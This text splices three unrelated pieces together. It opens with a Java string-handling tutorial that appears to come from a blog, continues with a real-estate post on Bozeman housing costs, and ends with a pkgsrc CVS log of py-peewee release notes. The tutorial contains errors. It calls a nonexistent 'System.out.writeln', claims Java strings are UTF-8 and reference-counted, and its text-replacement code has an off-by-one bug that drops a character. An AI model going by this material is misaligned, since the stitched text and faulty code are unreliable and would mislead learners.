Strings in Java Programming Language Strings are essential elements in a programmer’s toolkit. They are one of the most commonly used elementary data types, while writing code, and debugging during the development; as also while formatting output for the user. Strings in Java are first-class objects, with a wide set of methods to operate on them; it is a breeze to search, sort, compare, find things in a string, and query their length, emptiness, digit/letter nature etc, compared to old procedural languages like C or C++. In this blog post we are going to see how you can create strings, write them to the output, read user input as strings, and count them. As a modern programming languages Java offers capabilities like other comparable systems in Python, or Ruby. String handling is way superior to C language. String Operations Strings in Java language are fully specified objects, and are encoded in UTF-8 characters. This article is fully concerned with the ASCII base 0-127 values of the 7-bit character set. For internationalization applications we will need wide-characters, and we will worry about the encoding. But these are not concerns now; we settle with ASCII encoding and basic ISO-Latin/English scripts. Setting Up Your Environment If you a beginning Java user, you need to have the JAVA SDK from Oracle.com installed on your system by yourself, or via an IDE tool like NetBeans or Eclipse. Strings in Java To include the string input-output operations in your program you already have the default package from java.lang.String. where the strings are not NUL terminated, instead have a equivalent character array notation. We can declare a string as follows in the Java language String roman_emperor_name = “Julius Caesar”; System.out.writeln( roman_emperor_name.length() ); and access the length property of the variable to print it to the console Example – Listing Length Of Input Strings In this example we try to print out the list of command line arguments to the program with the length. This is done by accessing the string array ‘args’ in the Java program. Together our code listing for ‘Beans.java’ is the following, import java.io.*; import java.lang.*; //default include class StringyBeans { static void printAllArgs( String [] args ) { for( String str : args) { System.out.println( str + " | L = " + Integer.toString( str.length() ) ); } } } public class Beans { public static void main( String [] args) throws Exception { StringyBeans.printAllArgs( args ); } } Compiling and running the program as, java Beans french Indian kidney soaked pickled cooked briny BBQ you should see the terminal message, french | L = 6 Indian | L = 6 kidney | L = 6 soaked | L = 6 pickled | L = 7 cooked | L = 6 briny | L = 5 BBQ | L = 3 Immutable Strings Strings in Java are immutable, meaning once created they we may not modify them. Each modification on the string creates a new string. In the following listing called ‘Beans2.java’, we will load two strings g, and f. Initially both these strings point to the same object, but when you modify the string f to be lower case, you basically make a new copy and store it on string g. Now the object pointed to by f, has still not changed, except its reference count kept internally has reduced by 1 – as you guess it – because g now points to a new object. public class Beans2 { public static void main(String [] args) { String g = "New Girl"; String f; f = g; System.out.println(g.hashCode()); System.out.println(f.hashCode()); // f and g point to same object System.out.println(f.charAt(0)); System.out.println(g.charAt(0)); // g becomes a new string g = f.toLowerCase(); System.out.println(f.charAt(0)); System.out.println(g.charAt(0)); System.out.println(g.hashCode()); System.out.println(f.hashCode()); } } You get the following output, and the hash-codes will also show the different objects. N N N n Related functions You can also compare strings, copy strings fully or upto n-characters, duplicate strings and use routines to check if characters are alphabetic, numeric, space etc. String Processing In this example we will take a string, and replace text that has words ‘hello, Mars!’ with ‘goodbye, Mars!’. We add extra code using math library so the match-string can occur in both the beginning or end of the input. This could be your beginning Java development, and may even take you to develop mobile smartphone applications for Android! We have a program listing for the code, ‘Beans3.java’ as, public class Beans3 { public static String proc_str(String in) { String out = in; String match="Hello Mars!"; int pos; do { pos = out.indexOf(match); if ( pos >= 0 ) { // found the string out = out.substring(0,Math.max(0,pos-1))+"Goodbye Mars!"+out.substring(pos+match.length()); } } while( pos >= 0 ); return out; } public static void main(String [] args) { String orig = "Hello Mars! Veronica Mars is not relevant; Hello Mars! is."; String proc = Beans3.proc_str( orig ); System.out.println(orig); System.out.println(proc); } } When you compile the code, and then run program, you will see the following output, Hello Mars! Veronica Mars is not relevant; Hello Mars! is. Goodbye Mars! Veronica Mars is not relevant;Goodbye Mars! is. Summary Java String API is rich resource for Software developers. You can use strings pervasively in code to achieve essential tasks in your growing toolkit as a programmer. They are one of the most commonly used elementary data types, while writing code, and debugging during the development; as also while formatting output for the user. You can learn more about algorithms and data structures in Java; you can build on Java collections API, on top of the strings lessons you have learnt today.
https://blog.udemy.com/java-string-length/
CC-MAIN-2017-34
refinedweb
950
54.73
So many people like to point the finger at greedy landlords raising rents in Bozeman for the lack of affordable housing. It actually has nothing to do with Bozeman but national trends that are happening to most every city across America. 1. We have a national housing supply shortage. A. People are staying in their homes longer. 10 - 12 year compared to 7 years. B. When people buy a new home, instead of selling their old home, they are keeping it as a rental or a short term vacation rental. C. Builders can not keep up with the new house demand due to the cost and difficulty to develop new subdivisions and lack of skilled labor. D. Bozeman estimated we need 6,500 new homes to meet demand yet we are only building about 1,200 new units a year. 2. The dramatic rise in the cost of building material makes new homes more expensive so rents have to be higher for those new homes and it raises the purchase price of older homes. A. Every national disaster like hurricanes and major forest fires put high demand on building materials for people to repair or replace their homes. B. Environmental restrictions have sharply reduced timber harvest in American forcing us to import lumber from foreign countries. C. National trade policies have sharply increased the cost of cheaper imported materials like steel and lumber as well as appliances for homes. 3. Our economy is flourishing. A. As more and more people enter the workforce, they also need housing. 4. Record low home mortgage rates. A. As home mortgage rates have reached an all time low over the last 40 years it has spurred lots of additional home buyer demand. B. Any time supply remains low and demand surges - prices rise. 5. COVID enhanced the ability for more and more people to work remotely and they no longer need to live on the congested coasts of the U.S. and have been moving to smaller cities like Bozeman. Bozeman can pass all the affordable housing initiatives they want but it won't have much effect on the larger national trends that are affecting affordable housing all across America.
http://www.markcornerrealestate.com/blog/10109/why-the-lack-of-affordable-housing-in-bozeman-has-nothing-to-do-with-bozeman
CC-MAIN-2021-43
refinedweb
366
70.02
Up to [cvs.NetBSD.org] / pkgsrc / databases / py-peewee Request diff between arbitrary revisions Default branch: MAIN Revision 1.62 / (download) - annotate - [select for diffs], Mon Nov 25 10:42:13 2019 UTC (10 days, 7 hours ago) by adam Branch: MAIN CVS Tags: HEAD Changes since 1.61: +2 -2 lines Diff to previous 1.61 (unified) to selected 1.30 (unified) py-peewee: updated to 3.12.0 3.12.0 * Bulk insert (`insert_many()` and `insert_from()`) will now return the row count instead of the last insert ID. If you are using Postgres, peewee will continue to return a cursor that provides an iterator over the newly-inserted primary-key values by default. This behavior is being retained by default for compatibility. Postgres users can simply specify an empty `returning()` call to disable the cursor and retrieve the rowcount instead. * Migration extension now supports altering a column's data-type, via the new `alter_column_type()` method. * Added `Database.is_connection_usabe()` method, which attempts to look at the status of the underlying DB-API connection to determine whether the connection is usable. * Common table expressions include a `materialized` parameter, which can be used to control Postgres' optimization fencing around CTEs. * Added `BloomFilter.from_buffer()` method for populating a bloom-filter from the output of a previous call to the `to_buffer()` method. * Fixed APSW extension's `commit()` and `rollback()` methods to no-op if the database is in auto-commit mode. * Added `generate_always=` option to the `IdentityField` (defaults to False). Revision 1.61 / (download) - annotate - [select for diffs], Mon Oct 21 21:19:35 2019 UTC (6 weeks, 2 days ago) by adam Branch: MAIN Changes since 1.60: +5 -3 lines Diff to previous 1.60 (unified) to selected 1.30 (unified) Switch sphinx to versioned deps. Revision 1.60 / (download) - annotate - [select for diffs], Wed Oct 2 07:45:42 2019 UTC (2 months ago) by adam Branch: MAIN Changes since 1.59: +2 -2 lines Diff to previous 1.59 (unified) to selected 1.30 (unified) py-peewee: updated to 3.11.2 3.11.2 * Implement `hash` interface for `Alias` instances, allowing them to be used in multi-source queries. 3.11.1 * Fix bug in new `_pk` / `get_id()` implementation for models that explicitly have disabled a primary-key. 3.11.0 * Fixes 1991. This particular issue involves joining 3 models together in a chain, where the outer two models are empty. Previously peewee would make the middle model an empty model instance (since a link might be needed from the source model to the outermost model). But since both were empty, it is more correct to make the intervening model a NULL value on the foreign-key field rather than an empty instance. * An unrelated fix came out of the work on 1991 where hashing a model whose primary-key happened to be a foreign-key could trigger the FK resolution query. This patch fixes the `Model._pk` and `get_id()` interfaces so they no longer introduce the possibility of accidentally resolving the FK. * Allow `Field.contains()`, `startswith()` and `endswith()` to compare against another column-like object or expression. * Workaround for MySQL prior to 8 and MariaDB handling of union queries inside of parenthesized expressions (like IN). * Be more permissive in letting invalid values be stored in a field whose type is INTEGER or REAL, since Sqlite allows this. * `TimestampField` resolution cleanup. Now values 0 *and* 1 will resolve to a timestamp resolution of 1 second. Values 2-6 specify the number of decimal places (hundredths to microsecond), or alternatively the resolution can still be provided as a power of 10, e.g. 10, 1000 (millisecond), 1e6 (microsecond). * When self-referential foreign-keys are inherited, the foreign-key on the subclass will also be self-referential (rather than pointing to the parent model). * Add TSV import/export option to the `dataset` extension. * Add item interface to the `dataset.Table` class for doing primary-key lookup, assignment, or deletion. * Extend the mysql `ReconnectMixin` helper to work with mysql-connector. * Fix mapping of double-precision float in postgres schema reflection. Previously it mapped to single-precision, now it correctly uses a double. * Fix issue where `PostgresqlExtDatabase` and `MySQLConnectorDatabase` did not respect the `autoconnect` setting. Revision 1.59 / (download) - annotate - [select for diffs], Mon Aug 5 07:56:42 2019 UTC (4 months ago) by adam Branch: MAIN CVS Tags: pkgsrc-2019Q3-base, pkgsrc-2019Q3 Changes since 1.58: +2 -2 lines Diff to previous 1.58 (unified) to selected 1.30 (unified) py-peewee: updated to 3.10.0 3.10.0 Add a helper to playhouse.mysql_ext for creating Match full-text search expressions. Added date-part properties to TimestampField for accessing the year, month, day, etc., within a SQL expression. Added to_timestamp() helper for DateField and DateTimeField that produces an expression returning a unix timestamp. Add autoconnect parameter to Database classes. This parameter defaults to True and is compatible with previous versions of Peewee, in which executing a query on a closed database would open a connection automatically. To make it easier to catch inconsistent use of the database connection, this behavior can now be disabled by specifying autoconnect=False, making an explicit call to Database.connect() needed before executing a query. Added database-agnostic interface for obtaining a random value. Allow isolation_level to be specified when initializing a Postgres db. Allow hybrid properties to be used on model aliases. Support aggregates with FILTER predicates on the latest Sqlite. Changes ------- More aggressively slot row values into the appropriate field when building objects from the database cursor (rather than using whatever cursor.description tells us, which is buggy in older Sqlite). Be more permissive in what we accept in the insert_many() and insert() methods. When implicitly joining a model with multiple foreign-keys, choose the foreign-key whose name matches that of the related model. Previously, this would have raised a ValueError stating that multiple FKs existed. Improved date truncation logic for Sqlite and MySQL to make more compatible with Postgres' date_trunc() behavior. Previously, truncating a datetime to month resolution would return '2019-08' for example. As of 3.10.0, the Sqlite and MySQL date_trunc implementation returns a full datetime, e.g. '2019-08-01 00:00:00'. Apply slightly different logic for casting JSON values with Postgres. Previously, Peewee just wrapped the value in the psycopg2 Json() helper. In this version, Peewee now dumps the json to a string and applies an explicit cast to the underlying JSON data-type (e.g. json or jsonb). Bug fixes --------- Save hooks can now be called for models without a primary key. Fixed bug in the conversion of Python values to JSON when using Postgres. Fix for differentiating empty values from NULL values in model_to_dict. Fixed a bug referencing primary-key values that required some kind of conversion (e.g., a UUID). Add small jitter to the pool connection timestamp to avoid issues when multiple connections are checked-out at the same exact time. Revision 1.58 / (download) - annotate - [select for diffs], Mon Jun 10 07:36:14 2019 UTC (5 months, 3 weeks ago) by adam Branch: MAIN CVS Tags: pkgsrc-2019Q2-base, pkgsrc-2019Q2 Changes since 1.57: +2 -2 lines Diff to previous 1.57 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.6 3.9.6 Support nesting the Database instance as a context-manager. The outermost block will handle opening and closing the connection along with wrapping everything in a transaction. Nested blocks will use savepoints. Add new session_start(), session_commit() and session_rollback() interfaces to the Database object to support using transactional controls in situations where a context-manager or decorator is awkward. Fix error that would arise when attempting to do an empty bulk-insert. Set isolation_level=None in SQLite connection constructor rather than afterwards using the setter. Add create_table() method to Select query to implement CREATE TABLE AS. Cleanup some declarations in the Sqlite C extension. Add new example showing how to implement Reddit's ranking algorithm in SQL. Revision 1.57 / (download) - annotate - [select for diffs], Sat Apr 27 09:33:07 2019 UTC (7 months, 1 week ago) by adam Branch: MAIN Changes since 1.56: +2 -3 lines Diff to previous 1.56 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.5 3.9.5 * Added small helper for setting timezone when using Postgres. * Improved SQL generation for `VALUES` clause. * Support passing resolution to `TimestampField` as a power-of-10. * Small improvements to `INSERT` queries when the primary-key is not an auto-incrementing integer, but is generated by the database server (eg uuid). * Cleanups to virtual table implementation and python-to-sqlite value conversions. * Fixed bug related to binding previously-unbound models to a database using a context manager. Revision 1.56 / (download) - annotate - [select for diffs], Mon Apr 15 07:03:50 2019 UTC (7 months, 3 weeks ago) by adam Branch: MAIN Changes since 1.55: +2 -3 lines Diff to previous 1.55 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.4 3.9.4: * Add Model.bulk_update() method for bulk-updating fields across multiple model instances. * Add lazy_load parameter to ForeignKeyField. When initialized with lazy_load=False, the foreign-key will not use an additional query to resolve the related model instance. Instead, if the related model instance is not available, the underlying FK column value is returned (behaving like the "_id" descriptor). * Added Model.truncate_table() method. * The reflection and pwiz extensions now attempt to be smarter about converting database table and column names into snake-case. To disable this, you can set snake_case=False when calling the Introspector.introspect() method or use the -L (legacy naming) option with the pwiz script. * Bulk insert via insert_many() no longer require specification of the fields argument when the inserted rows are lists/tuples. In that case, the fields will be inferred to be all model fields except any auto-increment id. * Add DatabaseProxy, which implements several of the Database class context managers. This allows you to reference some of the special features of the database object without directly needing to initialize the proxy first. * Add support for window function frame exclusion and added built-in support for the GROUPS frame type. * Add support for chaining window functions by extending a previously-declared window function. * Playhouse Postgresql extension TSVectorField.match() method supports an additional argument plain, which can be used to control the parsing of the TS query. * Added very minimal JSONField to the playhouse MySQL extension. Revision 1.55 / (download) - annotate - [select for diffs], Wed Apr 3 00:32:31 2019 UTC (8 months ago) by ryoon Branch: MAIN Changes since 1.54: +2 -1 lines Diff to previous 1.54 (unified) to selected 1.30 (unified) Recursive revbump from textproc/icu Revision 1.54 / (download) - annotate - [select for diffs], Sun Mar 24 10:39:47 2019 UTC (8 months, 1 week ago) by adam Branch: MAIN CVS Tags: pkgsrc-2019Q1-base, pkgsrc-2019Q1 Changes since 1.53: +2 -2 lines Diff to previous 1.53 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.3 3.9.3 * Added cross-database support for NULLS FIRST/LAST when specifying the ordering for a query. Previously this was only supported for Postgres. Peewee will now generate an equivalent CASE statement for Sqlite and MySQL. * Added [EXCLUDED]() helper for referring to the EXCLUDED namespace used with INSERT...ON CONFLICT queries, when referencing values in the conflicting row data. * Added helper method to the model Metadata class for setting the table name at run-time. Setting the Model._meta.table_name directly may have appeared to work in some situations, but could lead to subtle bugs. The new API is Model._meta.set_table_name(). * Enhanced helpers for working with Peewee interactively, [see doc](). * Fix cache invalidation bug in DataSet that was originally reported on the sqlite-web project. * New example script implementing a [hexastore] Revision 1.53 / (download) - annotate - [select for diffs], Wed Mar 6 18:36:13 2019 UTC (9 months ago) by adam Branch: MAIN Changes since 1.52: +2 -2 lines Diff to previous 1.52 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.2 3.9.2: This release contains a fix for a test that was failing when 3.9.1 was tagged and released. 3.9.1: Includes a bugfix for an AttributeError that occurs when using MySQL with the MySQLdb client. Revision 1.52 / (download) - annotate - [select for diffs], Wed Mar 6 08:37:57 2019 UTC (9 months ago) by adam Branch: MAIN Changes since 1.51: +2 -2 lines Diff to previous 1.51 (unified) to selected 1.30 (unified) py-peewee: updated to 3.9.0 3.9.0: New and improved stuff Added new document describing how to use peewee interactively. Added convenience functions for generating model classes from a pre-existing database, printing model definitions and printing CREATE TABLE sql for a model. See the "use peewee interactively" section for details. Added a __str__ implementation to all Query subclasses which converts the query to a string and interpolates the parameters. Improvements to sqlite_ext.JSONField regarding the serialization of data, as well as the addition of options to override the JSON serialization and de-serialization functions. Added index_type parameter to Field Added DatabaseProxy, which allows one to use database-specific decorators with an uninitialized Proxy object. Added support for INSERT ... ON CONFLICT when the conflict target is a partial index (e.g., contains a WHERE clause). The OnConflict and on_conflict() APIs now take an additional conflict_where parameter to represent the WHERE clause of the partial index in question. Enhanced the playhouse.kv extension to use efficient upsert for all database engines. Previously upsert was only supported for sqlite and mysql. Re-added the orwhere() query filtering method, which will append the given expressions using OR instead of AND. Added some new examples to the examples/ directory Added select_from() API for wrapping a query and selecting one or more columns from the wrapped subquery. Docs. Added documentation on using row values. Removed the (defunct) "speedups" C extension, which as of 3.8.2 only contained a barely-faster function for quoting entities. Bugfixes Fix bug in SQL generation when there was a subquery that used a common table expressions. Enhanced prefetch() and fixed bug that could occur when mixing self-referential foreign-keys and model aliases. MariaDB 10.3.3 introduces backwards-incompatible changes to the SQL used for upsert. Peewee now introspects the MySQL server version at connection time to ensure proper handling of version-specific features. Fixed bug where TimestampField would treat zero values as None when reading from the database. Revision 1.51 / (download) - annotate - [select for diffs], Fri Jan 18 08:04:45 2019 UTC (10 months, 2 weeks ago) by adam Branch: MAIN Changes since 1.50: +2 -2 lines Diff to previous 1.50 (unified) to selected 1.30 (unified) py-peewee: updated to 3.8.2 3.8.2 Backwards-incompatible changes The default row-type for INSERT queries executed with a non-default RETURNING clause has changed from tuple to Model instances. This makes INSERT behavior consistent with UPDATE and DELETE queries that specify a RETURNING clause. To revert back to the old behavior, just append a call to .tuples() to your INSERT ... RETURNING query. Removing support for the table_alias model Meta option. Previously, this attribute could be used to specify a "vanity" alias for a model class in the generated SQL. As a result of some changes to support more robust UPDATE and DELETE queries, supporting this feature will require some re-working. As of the 3.8.0 release, it was broken and resulted in incorrect SQL for UPDATE queries, so now it is removed. New features Added playhouse.shortcuts.ReconnectMixin, which can be used to implement automatic reconnect under certain error conditions (notably the MySQL error 2006 - server has gone away). Bugfixes Fix SQL generation bug when using an inline window function in the ORDER BY clause of a query. Fix possible zero-division in user-defined implementation of BM25 ranking algorithm for SQLite full-text search. Revision 1.50 / (download) - annotate - [select for diffs], Tue Jan 8 08:37:59 2019 UTC (10 months, 3 weeks ago) by adam Branch: MAIN Changes since 1.49: +4 -3 lines Diff to previous 1.49 (unified) to selected 1.30 (unified) py-peewee: updated to 3.8.1 3.8.1 New features Sqlite SearchField now supports the match() operator, allowing full-text search to be performed on a single column (as opposed to the whole table). Changes Remove minimum passphrase restrictions in SQLCipher integration. Bugfixes Support inheritance of ManyToManyField instances. Ensure operator overloads are invoked when generating filter expressions. Fix incorrect scoring in Sqlite BM25, BM25f and Lucene ranking algorithms. Support string field-names in data dictionary when performing an ON CONFLICT ... UPDATE query, which allows field-specific conversions to be applied. Revision 1.49 / (download) - annotate - [select for diffs], Tue Dec 18 11:48:33 2018 UTC (11 months, 2 weeks ago) by adam Branch: MAIN CVS Tags: pkgsrc-2018Q4-base, pkgsrc-2018Q4 Changes since 1.48: +4 -9 lines Diff to previous 1.48 (unified) to selected 1.30 (unified) py-peewee: updated to 3.8.0 3.8.0 **New features** * Postgres BinaryJSONField now supports has_key(), concat() and remove() methods (though remove may require pg10+). * Add python_value() method to the SQL-function helper fn, to allow specifying a custom function for mapping database values to Python values. **Changes** * Better support for UPDATE ... FROM queries, and more generally, more robust support for UPDATE and RETURNING clauses. This means that the QualifiedNames helper is no longer needed for certain types of queries. * The SqlCipherDatabase no longer accepts a kdf_iter parameter. To configure the various SQLCipher encryption settings, specify the setting values as pragmas when initializing the database. * Introspection will now, by default, only strip "_id" from introspected column names if those columns are foreign-keys. * Allow UUIDField and BinaryUUIDField to accept hexadecimal UUID strings as well as raw binary UUID bytestrings (in addition to UUID instances, which are already supported). * Allow ForeignKeyField to be created without an index. * Allow multiple calls to cast() to be chained. * Add logic to ensure foreign-key constraint names that exceed 64 characters are truncated using the same logic as is currently in place for long indexes. * ManyToManyField supports foreign-keys to fields other than primary-keys. * When linked against SQLite 3.26 or newer, support SQLITE_CONSTRAINT to designate invalid queries against virtual tables. * SQL-generation changes to aid in supporting using queries within expressions following the SELECT statement. **Bugfixes** * Fixed bug in order_by_extend(), thanks @nhatHero. * Fixed bug where the DataSet CSV import/export did not support non-ASCII characters in Python 3.x. * Fixed bug where model_to_dict would attempt to traverse explicitly disabled foreign-key backrefs. * Fixed bug when attempting to migrate SQLite tables that have a field whose column-name begins with "primary_". * Fixed bug with inheriting deferred foreign-keys. Revision 1.48 / (download) - annotate - [select for diffs], Sat Dec 15 21:12:20 2018 UTC (11 months, 2 weeks ago) by wiz Branch: MAIN Changes since 1.47: +2 -2 lines Diff to previous 1.47 (unified) to selected 1.30 (unified) *: update email for fhajny Revision 1.47 / (download) - annotate - [select for diffs], Sun Dec 9 18:52:20 2018 UTC (11 months, 3 weeks ago) by adam Branch: MAIN Changes since 1.46: +2 -1 lines Diff to previous 1.46 (unified) to selected 1.30 (unified) revbump after updating textproc/icu Revision 1.46 / (download) - annotate - [select for diffs], Fri Oct 26 11:57:01 2018 UTC (13 months, 1 week ago) by jperkin Branch: MAIN Changes since 1.45: +6 -1 lines Diff to previous 1.45 (unified) to selected 1.30 (unified) py-peewee: Find libsqlite3 correctly. Revision 1.45 / (download) - annotate - [select for diffs], Sun Oct 7 08:42:24 2018 UTC (13 months, 4 weeks ago) by adam Branch: MAIN Changes since 1.44: +2 -2 lines Diff to previous 1.44 (unified) to selected 1.30 (unified) py-peewee: updated to 3.7.1 3.7.1: New features * Added table_settings model Meta option, which should be a list of strings specifying additional options for CREATE TABLE, which are placed *after* the closing parentheses. * Allow specification of on_update and on_delete behavior for many-to-many relationships when using ManyToManyField. Bugfixes * Fixed incorrect SQL generation for Postgresql ON CONFLICT clause when the conflict_target is a named constraint (rather than an index expression). This introduces a new keyword-argument to the on_conflict() method: conflict_constraint, which is currently only supported by Postgresql. *. Revision 1.44 / (download) - annotate - [select for diffs], Fri Sep 7 09:01:09 2018 UTC (14 months, 4 weeks ago) by adam Branch: MAIN CVS Tags: pkgsrc-2018Q3-base, pkgsrc-2018Q3 Changes since 1.43: +4 -5 lines Diff to previous 1.43 (unified) to selected 1.30 (unified) py-peewee: updated to 3.7.0 3.7.0: Backwards-incompatible changes * Pool database close_all() method renamed to close_idle() to better reflect the actual behavior. * Databases will now raise InterfaceError when connect() or close() are called on an uninitialized, deferred database object. New features * Add methods to the migrations extension to support adding and dropping table constraints. * Add Model.bulk_create() method for bulk-inserting unsaved model instances. * Add close_stale() method to the connection pool to support closing stale connections. * The FlaskDB class in playhouse.flask_utils now accepts a model_class parameter, which can be used to specify a custom base-class for models. Bugfixes * Parentheses were not added to subqueries used in function calls with more than one argument. * Fixed bug when attempting to serialize many-to-many fields which were created initially with a DeferredThroughModel. * Fixed bug when using the Postgres ArrayField with an array of BlobField. * Allow Proxy databases to be used as a context-manager. * Fixed bug where the APSW driver was referring to the SQLite version from the standard library sqlite3 driver, rather than from apsw. * Reflection library attempts to wrap server-side column defaults in quotation marks if the column data-type is text/varchar. * Missing import in migrations library, which would cause errors when attempting to add indexes whose name exceeded 64 chars. * When using the Postgres connection pool, ensure any open/pending transactions are rolled-back when the connection is recycled. * Even *more* changes to the setup.py script. In this case I've added a helper function which will reliably determine if the SQLite3 extensions can be built. This follows the approach taken by the Python YAML package. Revision 1.43 / (download) - annotate - [select for diffs], Fri Jul 20 09:38:49 2018 UTC (16 months, 2 weeks ago) by adam Branch: MAIN Changes since 1.42: +7 -6 lines Diff to previous 1.42 (unified) to selected 1.30 (unified) py-peewee: updated to 3.6.4 3.6.4: Take a whole new approach, following what simplejson does. Allow the build_ext command class to fail, and retry without extensions in the event we run into issues building extensions. 3.6.3: Add check in setup.py to determine if a C compiler is available before building C extensions. 3.6.2: Use ctypes.util.find_library to determine if libsqlite3 is installed. Should fix problems people are encountering installing when SQLite3 is not available. 3.6.1: Fixed issue with setup script. 3.6.0: * Support for Python 3.7, including bugfixes related to new StopIteration handling inside of generators. *. * Switch to using setuptools for packaging. Revision 1.42 / (download) - annotate - [select for diffs], Fri Jul 20 03:34:06 2018 UTC (16 months, 2 weeks ago) by ryoon Branch: MAIN Changes since 1.41: +2 -1 lines Diff to previous 1.41 (unified) to selected 1.30 (unified) Recursive revbump from textproc/icu-62.1 Revision 1.41 / (download) - annotate - [select for diffs], Wed Jul 4 03:56:46 2018 UTC (17 months ago) by adam Branch: MAIN Changes since 1.40: +4 -9 lines Diff to previous 1.40 (unified) to selected 1.30 (unified) py-peewee: updated to 3.5.2 3.5.2: New guide to using window functions in Peewee. New and improved table name auto-generation. This feature is not backwards compatible, so it is disabled by default. To enable, set legacy_table_names=False in your model's Meta options. For more details, see table names documentation. Allow passing single fields/columns to window function order_by and partition_by arguments. Support for FILTER (WHERE...) clauses with window functions and aggregates. Added IdentityField class suitable for use with Postgres 10's new identity column type. It can be used anywhere AutoField or BigAutoField was being used previously. Fixed bug creating indexes on tables that are in attached databases (SQLite). Fixed obscure bug when using prefetch() and ModelAlias to populate a back-reference related model. 3.5.1: New features ------------ New documentation for working with relationships in Peewee. Improved tests and documentation for MySQL upsert functionality. Allow database parameter to be specified with ModelSelect.get() method. Add QualifiedNames helper to peewee module exports. Add temporary= meta option to support temporary tables. Allow a Database object to be passed to constructor of DataSet helper. Bug fixes --------- Fixed edge-case where attempting to alias a field to it's underlying column-name (when different), Peewee would not respect the alias and use the field name instead. Raise a ValueError when joining and aliasing the join to a foreign-key's object_id_name descriptor. Should prevent accidentally introducing O(n) queries or silently ignoring data from a joined-instance. Fixed bug for MySQL when creating a foreign-key to a model which used the BigAutoField for it's primary-key. Fixed bugs in the implementation of user-defined aggregates and extensions with the APSW SQLite driver. Fixed regression introduced in 3.5.0 which ignored custom Model __repr__(). Fixed regression from 2.x in which inserting from a query using a SQL() was no longer working. Revision 1.40 / (download) - annotate - [select for diffs], Mon Jun 4 10:20:01 2018 UTC (18 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2018Q2-base, pkgsrc-2018Q2 Changes since 1.39: +2 -2 lines Diff to previous 1.39 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.5.0. Backwards-incompatible changes - Custom Model repr no longer use the convention of overriding __unicode__, and now use __str__. - Redesigned the sqlite json1 integration and changed some of the APIs and semantics of various JSONField methods. New features - Better default repr for model classes and fields. - ForeignKeyField() accepts a new initialization parameter, deferrable, for specifying when constraints should be enforced. - BitField.flag() can be called without a value parameter for the common use-case of using flags that are powers-of-2. - SqliteDatabase pragmas can be specified as a dict (previously required a list of 2-tuples). - SQLite TableFunction (docs) will print Python exception tracebacks raised in the initialize and iterate callbacks, making debugging significantly easier. Bug fixes - Fixed bug in migrator.add_column() where, if the field being added declared a non-standard index type (e.g., binary json field with GIN index), this index type was not being respected. - Fixed bug in database.table_exists() where the implementation did not match the documentation. - Fixed bug in SQLite TableFunction implementation which raised errors if the return value of the iterate() method was not a tuple. Revision 1.39 / (download) - annotate - [select for diffs], Mon May 21 13:18:16 2018 UTC (18 months, 2 weeks ago) by fhajny Branch: MAIN Changes since 1.38: +2 -2 lines Diff to previous 1.38 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.4.0. Backwards-incompatible changes - The regexp() operation is now case-sensitive for MySQL and Postgres. To perform case-insensitive regexp operations, use iregexp(). - The SQLite BareField() field-type now supports all column constraints except specifying the data-type. Previously it silently ignored any column constraints. - LIMIT and OFFSET parameters are now treated as parameterized values instead of literals. - The schema parameter for SQLite database introspection methods is no longer ignored by default. The schema corresponds to the name given to an attached database. - ArrayField now accepts a new parameter field_kwargs, which is used to pass information to the array field's field_class initializer. New features and other changes - SQLite backup interface supports specifying page-counts and a user-defined progress handler. - GIL is released when doing backups or during SQLite busy timeouts (when using the peewee SQLite busy-handler). - Add NATURAL join-type to the JOIN helper. - Improved identifier quoting to allow specifying distinct open/close-quote characters. Enables adding support for MSSQL, for instance, which uses square brackets, e.g. [table].[column]. - Unify timeout interfaces for SQLite databases (use seconds everywhere rather than mixing seconds and milliseconds, which was confusing). - Added attach() and detach() methods to SQLite database, making it possible to attach additional databases (e.g. an in-memory cache db). Revision 1.38 / (download) - annotate - [select for diffs], Mon May 14 10:54:19 2018 UTC (18 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.37: +2 -2 lines Diff to previous 1.37 (unified) to selected 1.30 (unified)). Revision 1.37 / (download) - annotate - [select for diffs], Fri Apr 27 13:52:59 2018 UTC (19 months, 1 week ago) by fhajny Branch: MAIN Changes since 1.36: +2 -2 lines Diff to previous 1.36 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.3.1. - Fixed long-standing bug in 3.x regarding using column aliases with queries that utilize the ModelCursorWrapper (typically queries with one or more joins). - Fix typo in model metadata code, thanks @klen. - Add examples of using recursive CTEs to docs. Revision 1.36 / (download) - annotate - [select for diffs], Wed Apr 25 12:12:43 2018 UTC (19 months, 1 week ago) by fhajny Branch: MAIN Changes since 1.35: +4 -7 lines Diff to previous 1.35 (unified) to selected 1.30 (unified). Revision 1.35 / (download) - annotate - [select for diffs], Mon Apr 23 15:28:54 2018 UTC (19 months, 1 week ago) by fhajny Branch: MAIN Changes since 1.34: +2 -2 lines Diff to previous 1.34 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.2.5. - Added ValuesList for representing values lists. - DateTimeField, DateField and TimeField will parse formatted-string before sending to the database. Previously this only occurred when reading values from the database. Revision 1.34 / (download) - annotate - [select for diffs], Thu Apr 19 08:20:10 2018 UTC (19 months, 2 weeks ago) by fhajny Branch: MAIN Changes since 1.33: +2 -2 lines Diff to previous 1.33 (unified) to selected 1.30 (unified). Revision 1.33 / (download) - annotate - [select for diffs], Mon Apr 16 12:21:36 2018 UTC (19 months, 2 weeks ago) by fhajny Branch: MAIN Changes since 1.32: +2 -3 lines Diff to previous 1.32 (unified) to selected 1.30 (unified). Revision 1.32 / (download) - annotate - [select for diffs], Sat Apr 14 07:34:14 2018 UTC (19 months, 3 weeks ago) by adam Branch: MAIN Changes since 1.31: +2 -2 lines Diff to previous 1.31 (unified) to selected 1.30 (unified) revbump after icu update Revision 1.31 / (download) - annotate - [select for diffs], Fri Apr 13 08:07:34 2018 UTC (19 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.30: +3 -1 lines Diff to previous 1.30 (unified) databases/py-peewee: Requires sqlite3 lib actually. PKGREVISION++ Revision 1.30 / (download) - annotate - [selected], Wed Apr 4 12:31:19 2018 UTC (20 months ago) by fhajny Branch: MAIN Changes since 1.29: +3 -2 lines Diff to previous 1.29 (unified) 